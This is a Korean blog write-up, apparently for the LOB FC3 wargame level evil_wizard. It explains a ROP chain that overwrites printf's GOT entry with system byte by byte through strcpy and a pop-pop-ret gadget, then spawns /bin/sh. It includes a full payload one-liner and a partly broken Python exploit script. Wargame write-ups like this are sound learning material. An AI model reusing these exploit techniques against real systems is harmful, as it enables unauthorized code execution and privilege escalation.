level3 은 일단 스킵 해놓고 이거부터 하죠!
포션 2개를 보면 대놓고 ROP 하라는 것
고로 ROP 를 할것인데 힌트인 GOT Overwrite 를 생각해서 printf의 got 를 system 로 덮어서 하는걸로
필요한건
system , printf@plt, printf@got, strcpy@plt, PPR , /bin/sh정도가 필요합니다.
차례로 구해보면
printf@plt : 0x8048424
printf@got : 0x8049884
strcpy@plt : 0x8048494
system: 0x7507c0
/bin/sh : 0x833603
PPR : 0x804854f
이렇게 구하고 보니 printf@got 를 덮기 위해서 c0, 07, 75, NULL 도 알아야 하네요.
바로 구해봅시다.
objdump -d evil_wizard | grep [구하고싶은거] --color=auto
or
objdump -s evil_wizard | grep [구하고싶은거] --color=auto
로 구해보면
c0 : 0x804852c
07 : 0x8048154
75 : 0x8048513
NULL : 0x8048198
필요한건 다 구한거 같으니 계획을 세워보면
dummy[268] + strcpy@plt + ppr + printf@got + c0
+ strcpy@plt + ppr + printf@got+1 + 07
. . . .. . .
+ printf@plt + ABCD + /bin/sh
로 짜고 공격을 해보면
"`python -c 'print "A"*268 + "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x84\x98\x04\x08"+"\x2c\x85\x04\x08"+
"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x85\x98\x04\x08"+"\x54\x81\x04\x08"+
"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x86\x98\x04\x08"+"\x13\x85\x04\x08"+ "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x87\x98\x04\x08"+"\x98\x81\x04\x08"+
"\x24\x84\x04\x08"+"ABCD"+"\x03\x36\x83\x00"'`"
클리어
---------------------------------------------------------------------------------------------------------------------------------------------------------
#explot.py import os def inn(number): return struct.pack('<I',number) pwd = "/home/hell_fire/evil_wizard" system = 0x007507c0 strcpy = 0x8048494 rrp = 0x804854f print_plt = 0x8048424 print_got = 0x8049884 payload = "A"*268 payload += inn(strcpy)+inn(rrp)+inn(print_got)+inn(0x804852c) # c0 payload += inn(strcpy)+inn(rrp)+inn(print_got+1)+inn(0x8048154) # 07 payload += inn(strcpy)+inn(rrp)+inn(print_got+2)+inn(0x8048513) # 75 payload += inn(strcpy)+inn(rrp)+inn(print_got+3)+inn(0x8048198) # NULL payload += inn(printf_plt)+"ABCD"+inn(0x833603) # /bin/sh os.execv(pwd,(pwd,payload)
처음에 이렇게 하려다 os.execv에서 이상하게 계속 에러 떠서,,, 혹시 해결법 아시는분 ?
'Pwnable > LOB' 카테고리의 다른 글
클리어 (0) | 2017.06.27 |
---|---|
[LOB FC3 - Level5] evil_wizard -> dark_stone (0) | 2017.06.23 |
[Level13] darknight -> bugbear 다른풀이 (0) | 2017.05.19 |
[Level1] gate -> iron_golem (0) | 2017.05.19 |
[Level20] xavius -> death_knight (0) | 2017.05.18 |